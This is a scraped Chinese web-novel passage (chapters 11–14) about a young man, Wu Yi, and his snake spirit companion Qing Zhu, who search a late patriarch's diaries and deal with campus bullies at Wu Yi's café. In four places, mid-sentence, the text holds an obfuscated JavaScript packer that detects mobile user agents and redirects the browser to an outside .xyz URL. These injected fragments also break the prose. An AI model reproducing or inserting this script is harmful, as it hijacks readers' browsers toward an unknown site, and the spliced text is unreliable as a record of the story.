傅流晔微不可查地松了口气,他其实最开始也不知道要带什么,只是上回听岑悦说起乌宜穿搭时髦,所以猜到他会喜欢这种亮晶晶的东西。 “喜欢就好,我帮你戴上。” 他在乌宜面前半蹲下,修长手指很是灵活,将手链戴好。 乌宜的皮肤本就白皙,此时在手链的衬托下更显一截手腕细白漂亮,贵气无比。 “真好看,就是这宝石纯度还不够,阿姨正好存了不少漂亮的宝石,都是藏品级别的,回头给小宜设计一条。” 岑悦丝毫不掩饰自己对乌宜的喜爱。 这份礼物悄然间打破了乌宜和傅流晔之间的微妙屏障,晚餐时间,桌上其乐融融。 岑悦许久没有感受过这样的温馨,自从丈夫去世后,她的儿子整日忙于公司事宜,时常不着家,即便回来了话也少得可怜。 不比现在,公司的情况好转,还将丈夫的遗愿送达,家里多了个乌宜,活泼可爱,丝毫不吝啬表达自己对于事物的喜爱,让她感受到了难得的热闹和幸福。 吃过饭,乌宜被塞了个水果拼盘,坐在沙发上陪着岑悦追最近很火的电视剧,准备晚一点再回去。 谁料还没等他吃完,外头忽然狂风大作,刷地一声,酝酿了一下午的雨总算下了。 外头大雨倾盆,一时间就连可见范围都缩小到院子里。 “这雨下的。”岑悦蹙眉担忧,“回去太不安全了,小宜明天有课吗?” 乌宜摇摇头:“明天我要去店里。” “那要不就在家里住吧,正好房间都收拾好了,明早让助理送新衣服来,小宜穿新衣服去店里好不好?” 岑悦也不知道自己是怎么了,一对上乌宜,说话就不自觉软了语气,总显得像是在哄小孩子。 但好在乌宜对这种说话方式也很受用,犹豫片刻还是点了点头。 “好吧。” 这个天气,司机开车也很不方便,还是不要麻烦别人了。 衣柜里有几套清洗过的崭新睡衣,乌宜被带着回房间,傅流晔给他介绍了浴缸用法,并未久留。 其实乌宜住的地方也有浴缸,是他当初死缠烂打黏着卿烛求他给自己买的,理由是卿烛也可以泡,但实际上买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427866|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来以后别说卿烛了,就连他自己都没有用过几次。 泡澡实在是很不方便,可是别人给自己收拾好以后,直接泡进去的感觉又很惬意。 摸了摸水面上的泡泡,乌宜忍不住摩挲手腕上的玉镯。 要是卿烛也可以每天给他放洗澡水就好了。 不知是不是感应到了他的想法,手镯凉了一瞬,让他有些心虚,不敢再多想。 外头狂风暴雨打着窗户,浴室里却是热气缭绕温暖无比,乌宜想到今天发生的事情,心情逐渐放松了下来。 浴缸开启了按摩,不多时就在这样的舒适下不知不觉失去了意识。 耳边的雨声水声似乎逐渐远了。 随之而来的是死一般的寂静,不久后有孩子们嬉戏打闹的声音从很远的地方传过来。 小少年有些疲倦地睁着眼,想要回头往门外去看一看,却被一只粗糙的手掰着头转回来。 “怎么还走神呢?”男人意味不明的声音在耳边响起,“不是说过写错一个字就要抄五十遍吗?你还没写完,就想去玩了?” 乌宜眨眨眼,只觉得握着笔的手指已经很疼了,他心里有点委屈,可是又不敢说。 对于此时只有七岁的他来说,老师的命令比天还大。 “是不是累了?”男人忽然拿走他的笔,指腹轻轻捻磨他酸胀的指尖,“想不抄了也行,如果能答应老师一个要求,以后你写错再多都不用罚抄。” 乌宜微微睁大眼睛,有点不敢相信。 “老师怎么会骗你呢?” 男人很是高大,那张隐在暗处的脸很黑,乌宜记得他脸上有很多胡子,平时总是笑意盈盈的样子,是孩子们公认最好说话的教习老师。 他觉得罚抄实在是好累,想也不想便点了点头。 “好,那我们就不抄了。” 男人露出了期待的笑容,伸手将他抱起来,放在自己的腿上。 乌宜不喜欢这样,扑腾两下腿挣扎开,站在课桌边上,一双水蓝色的眼睛里蓄着警惕和紧张,看着面前高大的老师,仿佛预料到了什么危险。 “怎么这么不听话?” 男人朝着窗户外面看了一眼,确定没人便猛地站起身,再也不掩饰面上丑恶的欲念。 乌宜急忙后退,可他的力量终究抵不过一个成人。 就在肩膀被重重抓住的瞬间,男人的身体宛若风筝般忽然凌空飞起,像是有人拽着他的衣领将他重掷向了窗台,哗啦一声,原本坚固的玻璃竟然直接被他的身体撞碎了。 碎裂的窗户玻璃骤然化作碎片纷飞落下,乌宜瞪大眼睛,看见那人的身体不受控制地栽出了窗台。 “……” 世界重新陷入安静,外面传来男人痛苦的哀嚎。 他小心翼翼走到窗台前,四角上的玻璃摇摇欲坠,男人仰躺在窗外的花丛里,下身被碎玻璃扎得鲜血淋漓。 看见乌宜后,他痛苦的表情瞬间变得狰狞,憎恨地抬起了皮肉撕裂的手。 乌宜惊愕,下意识后退,脚下一滑身体失重。 像是坠入了冰冷的水潭。 他重重闭上眼睛屏住呼吸,却还是呛了一口水。 剧烈挣扎间,熟悉的冰冷触感环上了他的手腕,重重将他拉出了水面。 乌宜猛然睁开眼,水流顺着额角落下,他的双眼还有些刺痛,只能朦胧间看清楚灯光通明的浴室中汇拢起一团高大的黑雾。 浴缸里的水早就冷了,他肩膀裸露在水面,不顾自己的手还被拽着,就撇着嘴扑过去抱住了那团黑雾。 搂住的瞬间,他打了个寒颤,隐约间感觉到那触感和从前有些不同了。 此时的他,像是正抱着一截劲瘦有力的腰。 卿烛……有人形了? 12. 第 12 章 不知是不是因为梦境太过放松,所以才会做那么久远的梦。 乌宜脑子有些混乱,潜意识中却还是不想松开手,虽然卿烛的身上还是很冷,可却比其他所有温暖的东西加起来给他的安全感还要更多。 似乎察觉到他的害怕,卿烛良久以后还是认命似的,轻轻将他拥住。 “泡个澡差点把命丢了。” 乌宜听出他暗哑语气中淡淡的嘲讽,这次却没有跟他顶嘴,而是吸吸鼻子小声说:“还不是因为你不在。” 他刚才呛了水,喉咙和鼻腔还有点火辣辣的疼,说话声音又哑又小,可怜得很。 卿烛只是将手搭在他的后背和肩头,没有更多的动作。 他什么都不问,乌宜却是要自己说的。 语气蔫巴地将刚才的梦境重复了一遍,中途还有些生气,可等讲完以后又惊喜起来。 “我都快忘记这件事情了,所以其实那个时候,你就已经在我身边了吗?” 他其实并不知道自己是哪天开始能感受到卿烛的,好像潜移默化之间,卿烛就跟他合为一体,成为了他不可或缺的存在。 卿烛轻哼一声,“再想。” 还要更早? 乌宜吃了一惊,可是却脑袋空空,什么都想不起来。 他这会儿身体还下意识发着抖,却怎么也不愿意撒手,卿烛也没惯他太久,不多时便撒了手拎着他的腰让他起来,顺手抽过架子上的毛巾给他擦了眼睛。 “去淋浴。” 言罢,还没等乌宜认认真真去看他模糊的身形,黑雾又散开,从浴室门下的缝隙窜走了。 “小气。” 淋浴完换好睡衣出去,身上又变得热腾腾。 卿烛重新化作了小黑蛇,此时却盘在床头柜的珠宝盒子上。 昏暗的环境下分明看不清他的眼睛,可乌宜就是觉得他此时好像正在打量里面的东西。 撇撇嘴,他还是大发慈悲走过去解释,“这个是傅流晔给我买的手链。” 明明知道卿烛不懂审美,可他却还是忍不住问了一句:“好不好看。” “……” 卿烛声音冰冷:“次品。” 啊? 乌宜一下怒了,“你胡说,这个很贵的。” 傅流晔才不会给他买次等品。 卿烛也无所谓他的态度,懒懒盘在了床头灯上。 “你喜欢就好。” 这句话从他嘴里说出来,总让人感觉阴阳怪气。 乌宜鼓着脸在床上坐下,忍不住去打量在灯光下泛着璀璨彩光的宝石手链。 哪里就不好了,明明这么漂亮。 躺在床上翻了两圈,他又重新趴起来,眨巴着一双清澈的眼睛盯向卿烛。 “卿卿,你再变一下刚才那样嘛。” 安静的房间,他的语气软乎拖长,撒娇意味十足,任再铁石心肠的人听了也会动容。 可惜面前的生物连心脏都没有,根本不吃他这套。 “吹完头睡觉。” 冷酷无情的声音。 乌宜气呼呼翻个身,摊成个大字躺在床上,白生生的手臂和小腿被室内温暖的风吹拂,有点痒。 半天,还是他先忍不住了,又抱着被子翻个身,哼哼唧唧。 “我睡不着。” “……” 乌宜也不管他说不说话,撇撇嘴委屈道:“我怕做噩梦。” 卿烛无动于衷,“胆子是练出来的。” “那我小的时候,你怎么不给我练好呢?”乌宜瞪着眼,满脸都是不高兴。 人长大了,连小时候的自己都要欺负。 卿烛无言以对,殷红的眼眸往他的方向瞥了过来,其实是看不出什么情绪的,可乌宜就是觉得他好像白了自己一眼。 “你——” 他气呼呼要坐起来。 “你小时候又哭又闹的,怎么练。”卿烛似乎很无语。 但还没等乌宜回怼,他又像是想起了什么,忽然很轻地笑了一声。 这声笑让乌宜愣住,与此同时脑海中似乎也闪过了极轻的一声哼笑,是在他方才的梦境中,教习老师被掷向窗外前,有人在他的头顶发出的。 这突如其来的回忆让他有些没办法发作出来,毕竟卿烛救了他呢。 浓密卷翘的睫毛忽闪忽闪,硬的不行还是来软的,他又开始哼唧。 “卿卿,求你了。” “暂时还没人形。”卿烛长长地叹了口气,如果不是因为他太了解乌宜,或许此时都会搞不清楚他是不是在装傻,可他清楚得很,这人平时能注意到的事情本身就很少,能死缠烂打这么久也在合理之中。 “为什么嘛。” “因为没身体。”卿烛言简意赅。 乌宜眨眨眼睛,觉得很新鲜,“你还要身体吗?不是可以直接变?” 他比划了一个高度,蹙着眉头正想要质疑什么,却发现卿烛好像真的从来没有变出过具体的模样,始终都是极其神秘朦胧的黑雾,只是有个形状而已。 不对! 他灵光一闪,忽然察觉到自己被骗了。 “那你之前说休息完就有人身的!你骗我!” 亏他毫无怨言地在傅家装疯卖傻,丢了这么大的脸,结果居然什么都没有! 看他盘起腿坐在床上,一副苦大仇深的样子,卿烛忍不住笑了。 “人形不是有了吗?” 他说着,身体如同发芽抽枝般延伸开,浓重的黑雾迅速汇聚成一抹高大挺拔的人形,头肩腰身清晰可见,可就是无法窥见里面的分毫细节。 “这算什么人啊?”乌宜垮着脸,把枕头往他身上一砸。 卿烛伸出手接住,随手掷在床上。 “怎么不算人?” 看起来傅家神龛下面的东西的确给他带来了足够的力量,现在都有空在这和乌宜掰扯这种幼稚的话题了。 “我说的人是那种可以出门跟我一起逛街,帮我去上课签到的那种。”乌宜满脸怨念,“你这种一出去别人肯定以为见鬼了。” 他抱怨完,卿烛许久都没开口,一只手搭在下巴上,似乎很认真地在思考这个问题。 乌宜哼了声,跳下床去吹头发,身后的人便也跟了上来。 他站在浴室镜柜前,看见身边的那道黑雾身形颀长,要比他高上一个头还多。 越看越来气,他拿着吹风机给自己一顿呼呼吹,顶着蓬松的炸毛头发继续鼓着脸颊刷牙。 “要身体也不是不行。” 听见卿烛开口,他并未反应,任由身后的人说下去。 “只是我现在不清楚它在哪。” 听出他不是在开玩笑,乌宜又来了劲,呸呸两下吐掉泡沫,忙道:“那怎么才能找到?” “不知道。” “……” 还是在逗他。 他漱完口气冲冲回到床上,还没躺下就想起来什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427867|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“那你之前说一段时间不用再吸收念力,这个总不是假的了吧。” “嗯。” 那就好。 乌宜松了口气,“那我们可以休息一段时间,也可以顺便想想要怎么找到你的身体,你的身体里应该也有很多能量吧?” “有。”卿烛沉吟片刻,“我记不起太多,目前想起来的只有和傅桉的过往,可以从他身上下手。” 乌宜忽然间屏住呼吸,眼睛睁得大大的,小心谨慎地问:“可是他已经去世了,你是不是要那个,招灵啊?” 他胆子小,想到那种诡异的场景本能有些害怕,可语气里却还是不免带上孩子气的期待。 “……已经去世十年了怎么招?” “哦。”乌宜又蔫了。 - 乌宜起床时已经将近十点,卿烛并不在房间里,他便爬起来换衣服。 窗台玻璃上还缀着昨夜的雨珠,被浇灌一夜的绿植散发淡淡香气,让他莫名觉得心情很好。 下了楼,他还没出声打招呼,底下就传出了细微的说话声。 “老傅从前爱写东西,但因为时间太久记录都有些杂,所以多了些,我帮您一起找吧。” 听出声音来源是谁,乌宜便跑下了楼梯,“岑阿姨。” “小宜醒啦。” 岑悦看见他,脸上礼貌的笑容变得热情,声音也不比方才那样小心。 “你们在看什么啊。”乌宜看见卿烛那道拙劣的黑雾人形坐在单人沙发上,正在翻阅一本陈旧的笔记本。 而茶几上,还堆着几十本新旧程度不一的本子。 “这些是老傅原先写的,算是日记吧。”岑悦笑笑,“看看能不能从里面找到一些有帮助的信息。” 乌宜点点头,原本想说自己也来帮忙,可目光一落在那密密麻麻的纸张上,便感到一阵头晕。 卿烛瞥他一眼,便知他心里想法,只道:“吃早餐去。” “对了,你晚点还得去店里呢,我让司机提前来。”岑悦也想起来正事了。 乌宜看了看时间,也不敢耽搁,赶紧去餐桌上吃早餐了。 傅家的大厅很宽敞,客餐厅却是分开的,以至于他一离开,客厅便又陷入了方才的安静尴尬。 岑悦始终微笑着,取过一本笔记翻开查看,却始终忽略不了斜对面的那具身影。 知道他在,一早她便让保姆回去休息,就连早餐都是自己亲手做的,一早上时间,家里都是这个气氛,只有乌宜下来时热闹放松了一瞬。 跟这位待在同一个空间里,饶是她也能感觉到明显的压力。 毕竟身份不一般。 “我和他十四年前相识。”卿烛忽然开口。 岑悦抬起头来,没怎么反应便知晓了‘他’是谁。 “那还真够早的,小宜今年也才19,还没过生日。” “是。”卿烛不知想到什么,笑了笑,“我姓卿,单名烛,乌宜平时这样喊我,你是傅桉的家人,也一样称呼吧。” 岑悦明白过来他的意思,心稍微放松了些许。 “好的,卿先生。” 卿烛说完便垂眸继续翻看日记,并未在意岑悦经他暗示开导后是否领会含义。 客厅一时只剩翻页声,不久后乌宜用过早餐跑过来,瞧见气氛安静也不好意思出声打扰。 正想着自己先上楼拿东西,却见卿烛顿住了翻动,修长的手指抵在单薄的纸页上,似乎是看见了什么。 13.第 13 章 “发现什么了吗?”乌宜向来不是忍得住的人,这会儿快步走过去,绕到卿烛后面俯身查看。 可惜这位傅叔叔的字实在是龙飞凤舞,看得出来为了防人还刻意写潦草了不少,导致乌宜苦着脸看半天,也没看懂半句话。 “卿先生发现什么了吗?”岑悦也抬起头来。 卿烛的手指在纸上点了点,意味不明地低笑了声,“不是什么重要的东西。” 乌宜小声:“你不要卖关子,快点说。” 他催了,卿烛便简述:“有个姓秦的。” 秦? 乌宜不觉得这是什么很重要的消息,毕竟只是一个姓氏而已,范围实在是太大了。 “那你的身体会在他那里吗?” “可能吧。”卿烛看起来倒是比他还淡定,好像根本不在意。 乌宜觉得无聊,“好没意思哦。” “这些事我自己都记不清。”卿烛又翻一页,语气里带着点笑,似乎乌宜觉得没意思,他就认为有趣了。 “……” 乌宜刚想不搭理他,却又被这句挑起了兴趣,忍不住凑过去贴在他身边,像个跟屁虫。 “什么啊?可不可以念给我听。” 如果是从前,卿烛肯定嘲他不认字,但毕竟面前还有个岑悦,他也不愿多废话,竟然真给乌宜念了自己简化过后的故事。 “六十年前,我身边有五个人,目前傅桉写到第六个。” 乌宜听得云里雾里:“这么多吗?那……你沉睡之前的事情,是真的一点都记不清了?” “嗯。” 乌宜不由唏嘘,“不过既然你沉睡之前把自己的一部分记忆和能力封存给了傅桉,会不会你是直接分成了六份,一人一份呢?毕竟这样比较保险。” 他的小脑瓜一时间灵活起来,越说越觉得自己聪明。 卿烛看了他一眼,也难得表示了赞同:“有可能。” “所以如果你想找回所有的能力和记忆,就要先找到这六个人。”乌宜托着腮,脸颊上的软肉挤在手掌边缘,撑得红润嘴唇也肉嘟嘟的。 “这样的话很难找诶,万一都像傅叔叔一样去世了怎么办?” 就连他们找到傅流晔家,也是为了念力阴差阳错,否则现在估计还在不停找寻念力足够的目标人物,以此赚取那么一点点维持卿烛身体的能量。 卿烛沉思片刻,转向了岑悦,“傅桉生前有没有交好的朋友?” “朋友倒是很多,但我都认识……”岑悦面露为难,“我猜想老傅应该不会和那几人有交集,他向来是特立独行的,朋友也都是生意上的伙伴,结婚这么多年,他从来没瞒着我什么,我也没见过他有过其他的活动。” 卿烛颔首,没再继续问。 乌宜倒是满脑子都是疑问,但还没等他问出口,司机就已经就位,岑悦借机催着他出门。 抵达店里以后,乌宜就无心再去想那些事情了,他简单处理了最近的活动,便被推门而入的文雅哄着去前面帮忙。 “咱们现在可忙了,新店员还没招到,熟悉的那几个兼职也没空,就麻烦老大了。” 乌宜任由她给自己系上围裙的腰带,狐疑问:“我们生意什么时候这么好了?” 文雅两三下给他系了个漂亮的蝴蝶结,满意地看着他收紧的腰线,又瞧瞧那张漂亮夺目的脸,今天因为工作而烦躁的心情瞬间就变得轻快起来。 “你忘啦,前几天岑阿姨来过店里,她说要给我们一些整改意见,我不是还问过你吗?” 乌宜听得云里雾里,记得像是有这么一回事,可又想不起来具体。 “你说都听岑阿姨的,她第二天就带了人来把店里的格局重新变动了一下,所以我们现在是甜品和饮品都在卖,还找了不少人宣传,店里的账号发两个视频都爆了,生意确实好了不少。” 她一边说着,一边推着乌宜的肩膀,让他站在收银台前。 “后面要做的东西太多,老大就在这当门面吧,感激不尽啦。” 她虽然一口一个老大店长,但说话的语气却像是在哄小孩,惹得收银台前的几个人止不住笑了起来。 “这么小居然是店长诶。” “真的假的,店长儿子吧。” “长得好漂亮啊。” 乌宜有点不好意思,但还是礼貌地露出个笑容:“你们好,要买什么呢?” 其中一个长发女孩挽着闺蜜的胳膊,凑过来笑着说:“我们在这吃,有没有热饮?” “有奶茶哦,在这里。”乌宜将前面的屏幕放大,方便她们选择。 几个人看起来都是附近大学的,谈笑间很利索地决定好了要吃的东西。 “一共是一百六十九,付款码放这里。”乌宜抬手示意,却见开头说话那女生还未将手机放过来,就被后面一个男的揽着肩挤开了。 “诶,不是说好让那个谁付吗?” 女生听了,表情变得为难:“这样合适吗?我们自己吃东西,还特意让他跑过来付钱,你这不是多此一举?” “喂,这是秦哥说的,他得承包我们这周的伙食,何况咱们还能节省点生活费,等一会的功夫,你急什么。” 几个男的说话语气都带着戏谑和期待,乌宜看着两个女孩沉默下来,只能主动问:“这边是谁付钱呢?” 刚才开口凶人的男人转过来,冲着他笑,“我们待会付行吗?反正都坐在这吃,一会儿有人过来请客,我们还要再加东西。” 乌宜沉默片刻,还是点了头:“好的,扫桌上的码也可以付款哦。” “行。” 几人又闹腾地朝着窗边位置走去,说话声格外大。 不多时又有两个对面写字楼的下来买咖啡,乌宜点完单,正好瞧见文雅端着分层漂亮的气泡水出来,便等着她将餐送上桌才示意往窗边看。 文雅常年都在店里,因为性格热情所以跟常来的客人关系都不错,此时只看一眼便有了印象。 “唔,倒是有点眼熟,那两个女孩应该是熟客,跟你一个学校的吧,我听她们说起过。” 乌宜只是看着对面那三个频频望向门外,明显在期待什么的男人。 “他们还没付钱。” 文雅一听就警惕起来,“我一会儿盯着他们。” 她话音刚落,店门再次被推开,两个在前台做咖啡的店员下意识喊了欢迎光临,可窗边刚落座不久的几个男人态度却要比服务生还热情,直接站了起来,招招手。 “喂,在这呢。” 乌宜朝那方向看去,便见一个穿着蓝白色旧外套的青年走了进来,他气喘吁吁像是刚从很远的地方跑来的,这样冷的天气额角还缀着细汗,脸色不是很好看。 “这个小帅哥看起来好老实啊。”文雅在后面说。 乌宜对这些并不了解,但他觉得这人有点眼熟,好像是在哪见过。 青年走到桌前,似乎还没搞明白他们喊自己来做什么,直到其中两个男人站起来,一人揽着他一侧肩膀,将人半推半搡地挤到了收银台前。 文雅看着这阵仗,下意识主动上前。 “你好,结账吗?” 其中一个男人笑道:“对,再给我们来三份蛋挞,打包带走,要十二个的大份。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432984|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌宜皱皱眉头,看着文雅给他们下单。 “一共三百七十三。” 被挤在中间的青年一听见这个数字,原本就不好看的脸色更是苍白了下来。 “我没带这么多钱。” “哎呀那又怎么了,去取呗,对面不就有银行。” “就是,反正我们一会也要在这玩,你有多少先给吧,别让人家服务生小姐姐等急了。” 文雅笑容死板,没有催促。 “我也没带卡啊。”青年很是焦灼,摸了摸口袋,掏出了几张叠好的纸币放在台上。 一张五十,三张十块,两张五块,剩下杂七杂八的一把都是一块钱。 他数了半天,算出一百零六,接着又掏出手机,很不好意思地看向文雅。 “我现金付106,扫码两百,可以吗?” 饶是文雅也被惊到了,委婉道:“那剩下的六十七怎么支付呢?” 一群人闹出的动静太大,店里的其他顾客都朝着这个方向张望,这些目光使得青年脸色一阵红一阵白。 “剩下的要不一会再结吧,他回去取个钱就来,放心,我们不会跑的。” 文雅欲言又止,乌宜却是有些忍不住了:“要不你们先垫一下呢?这样一来一回多费时间啊。” 两个男人看了面前这个年轻精致的男生一眼,说:“没事,反正我们也不急,他有的是时间。” “……” 中间那青年咬着牙关,似乎正在经历极其强烈的内心挣扎,最后,他还是转头看向身边的伙伴,小声说:“你们先帮我垫付一下可以吗?我兼职那走不了太久,否则今天我就算白去了。” “这和我们有什么关系?这是你答应秦哥的吧,谁让你手贱要动人家的东西,人家那新手机要一万多呢,只让你承当一周的伙食和跑腿就不错了,难不成你要我现在给秦哥打电话,跟他说你不配合,索性找你要回手机钱?” 此话一出,青年果然又是沉默,低着头似乎在纠结。 文雅有些看不下去:“你们是同学吧,没必要这样,其实……” 她话还未说完,乌宜就拍了拍她的肩膀,她领会意思便噤声后退一步。 乌宜在界面上操作了一下,平静道:“我帮你垫了,先回去工作吧,等你有空了抽时间回来付钱就行。” 青年错愕地看向他,周边的两人也满脸震惊。 “你、你多管什么闲事?” 乌宜没理会他们,垂眸把单子打印出来,推到台上。 两个男人还要闹,座位上的同伴已经看不下去上来劝说了。 “差不多行了,至于这样吗?” “反正都是他付了,还真要他回去拿啊,万一路上着急忙慌的出什么事,咱们可是要担责的。” “就是就是。” 趁着他们争吵的功夫,乌宜朝青年递了个眼神,对方便心领神会,感激地冲他点点头,连忙从大门跑出去了。 “诶,那小子怎么跑了——” 其中一个男人脸色变得难看,搞清楚是怎么回事后怒视向乌宜,“你什么意思?多管闲事。” 乌宜不甚在意,反而看面前这两人越来越不爽,没好气道:“都是一个学校的同学,何必要这样呢?” “跟你有什么关系?”那男人不耐烦地说完,像是一肚子怒火没地撒,被同伴拽走前狠狠盯着乌宜,“你给我等着。” “……” 幼稚死了。 乌宜撇撇嘴,压根没放在心上。 这两个小学生还能拿他怎样?卿烛一根手指头就把他们捏死了。 14.第 14 章 忙完下午茶,乌宜收拾东西回去,告诉文雅自己之后一段时间应该不会到店里,让她记得收那个青年的钱。 文雅自然是答应,她看着今天那场面心里也很不舒服,老大出头她自然是支持的。 “不过老大,你就不怕那个人不回来付钱吗?我看他穿的那么简朴平时也不会来我们这种店,回头找不到人怎么办?” 乌宜抱着手臂哼笑:“我知道他是谁,这只是对他的一个考验而已。” 文雅一听便知晓了刚才那几人跟他是一个学校的,虽然不太懂是要考验什么,但还是赞同地点点头。 这会儿帮着乌宜将他亲手做好的甜点放上车,拍拍手关上车门,看着那高攀不起的车标逐渐消失在视野中,让她止不住咂舌。 真是神秘啊,她们老板到底是哪家的公子哥。 - 乌宜信守承诺带着自己做的甜品回到傅宅,分发给了岑阿姨和卿烛,顺带着将剩下那份放在冰箱里,留给还没结束工作回来的傅流晔。 岑悦一如既往地夸,从吃第一口开始就赞不绝口,神态之自然不带一丝浮夸。 “小宜的手艺真是不错。” 乌宜喜欢被夸奖的感觉,这会儿乖乖坐在沙发上,小脸上满是自豪和高兴,像是只悠然自得的猫咪。 卿烛捏起一只雪媚娘塞进嘴里,只嗯了声表示赞许,和岑悦比起来,他的反应就显得太过平淡。 好在乌宜心情不错,也没挑刺,又习惯性贴过去,“怎么样啦,有没有找到重要的信息。” 卿烛膝盖上还放着一本陈旧泛黄的日记本,乌宜见他慢条斯理咀嚼不回话,就站起来凑过去,硬是挤进了沙发夹缝,和卿烛贴在一起。 岑悦抬头看见这一幕都愣了一下。 白白瘦瘦的漂亮小孩挤在单人沙发边上,身侧高大的黑雾回笼成模糊人形,似乎被他挤得够呛,半天啧了声,只得将手搭在椅背,这个角度看过去就像是将乌宜揽进了自己的怀中。 “这个字好像没那么潦草了。” 乌宜却是什么都没察觉到,低着头认认真真去辨认上面的字。 “唔……这里是在说什么?感觉好像在说谁的坏话,这个阿林是谁?” 卿烛没说话。 他便自己猜:“是那六个人之中的一个吗?” “嗯。” 乌宜皱着眉头看了半天,还是什么都没搞懂,便让他说给自己听。 “姓秦的。”卿烛一如既往的简洁。 “那这么说,他是不是叫秦林?”乌宜眼睛亮了起来,“有名字总是好找的吧。” “这都是几十年前了。”岑悦适时开口,“卿先生是觉得,既然老傅都给自己改了名字,那这位秦先生是否改名换姓了也难说。” 乌宜觉得有道理,又苦恼起来。 “事情都处理完了?” 听见卿烛发问,他才回过神,骄傲地抬起下颚,哼哼两声,“当然,所以回来看看你们的进度。” 卿烛似乎看了他一眼,然后才说:“遇见什么有趣的事了?” 这口气,像是在询问刚下课的幼儿园小朋友。 乌宜却是被他提醒了,立马来了劲:“我今天看见了一个同学,我感觉他特别可怜,肯定符合你之前说的那些要求。” 岑悦在边上听着,犹豫自己是否需要先离开。 “明天去学校看看。” 乌宜瞪圆眼睛:“才不,明天和后天我没课的。” “……你能有什么正经事。” 他从从前也会调侃,而且次数并不少,可也不知道为什么,乌宜现在是越来越受不了他这样了。 “我要跟岑阿姨去逛街。”他不愿意再看身边的人,哼一声就站起来,“你现在不是不着急要念力吗?我玩两天都不可以。” 卿烛搞不懂他哪来的脾气,“我什么时候这么说过?” “你的态度就是这样说的。” 乌宜不想搭理他了,拎着自己的包就准备上楼。 不料这时院子外面传来车声,听完全程的岑悦尴尬地笑了一下,终于有话题可以打断,“应该是流晔下班了,今天还挺早的。” 她说完,就见窗外,傅流晔下了车,跟司机一起将后座用防尘袋装好的衣服取下来。 乌宜认出其中的几件是自己想要的,立马丢下包噔噔噔跑了出去。 看着这个不争气的背影,卿烛淡淡收回目光。 “小宜。”傅流晔看见他出来,立马露出个笑,“特意给你取了新衣服,看你背包有点旧,挑了三个给你换,看看喜不喜欢。” 乌宜跑到他身边,看见不同大小用途的几个包,以及上面大大的奢牌logo,立马乐了起来。 “喜欢!” “喜欢就好,一会你看看哪些要送到你那边去,我让司机帮你分好。” “谢谢傅哥哥!” 乌宜拿了别人的东西,向来都会变得嘴甜一点。 傅流晔眉眼含笑,顺手揉揉他的脑袋,触手是蓬松丝滑的头发,跟他这个人一样,柔软又可爱。 有了新礼物,乌宜方才的郁闷一扫而空,高高兴兴跑进门,却发现卿烛已经上楼了。 次日,乌宜上午跟岑悦一同出门逛街,等他们乐呵呵回到家,商场和专柜的东西已经将客厅堆满。 而卿烛仍旧靠在屋内沙发上看那些日记,只是待看的那一堆已经空了。 “看完了?” 乌宜出去玩了一天没带他,心里面也有些心虚,他向来不是一个会记仇的性格,因为自己喜欢出去玩,所以换位思考一下,莫名就共情了卿烛。 “累不累啊?晚上我带你出去散步好不好?” 他知道卿烛不喜欢动弹,只有在他身上的时候会比较放松,其他时候都盘在一个地方一动不动。 “不用。” 声音好冷淡,果然是生气了吧? 乌宜眼巴巴看着他,“不要生气卿卿,看看我的新衣服呢,好不好看?” 卿烛连头都没抬,明显的不感兴趣。 “明天我带你去学校嘛。”乌宜最讨厌去学校了,老是搞那么多社团活动,累死人了。 卿烛还是没理他,只是继续维持着这个姿势,将最后一本日记一页一页翻看完了。 得不到任何回复,乌宜气呼呼去睡觉。 要去学校那天他特意起了个大早,换上傅流晔给他买的新衣服,拎上新包,把他的用具都装在里面,下楼跟正在练八段锦的岑悦展示一番。 岑悦笑得慈祥:“好看好看。” 手腕上的小蛇一动不动,乌宜轻哼一声,草草打了招呼便坐上车前往学校。 乌宜向来不喜欢人多的活动,在手语社团待了没多久便离开,正准备带着卿烛去宿舍楼,就接到了文雅的电话。 “店长,你在忙吗?我想跟你说个事。” 路过运动场有些吵,乌宜下意识以为她是要请假,便打算迅速结束通话,“休息的话在群里发消息就可以了。” 谁料文雅顿了顿,却道:“不是,是前两天那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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砰的一声,柜门重重被关上,两人的声音瞬间被打断。 “我靠,你什么意思?” 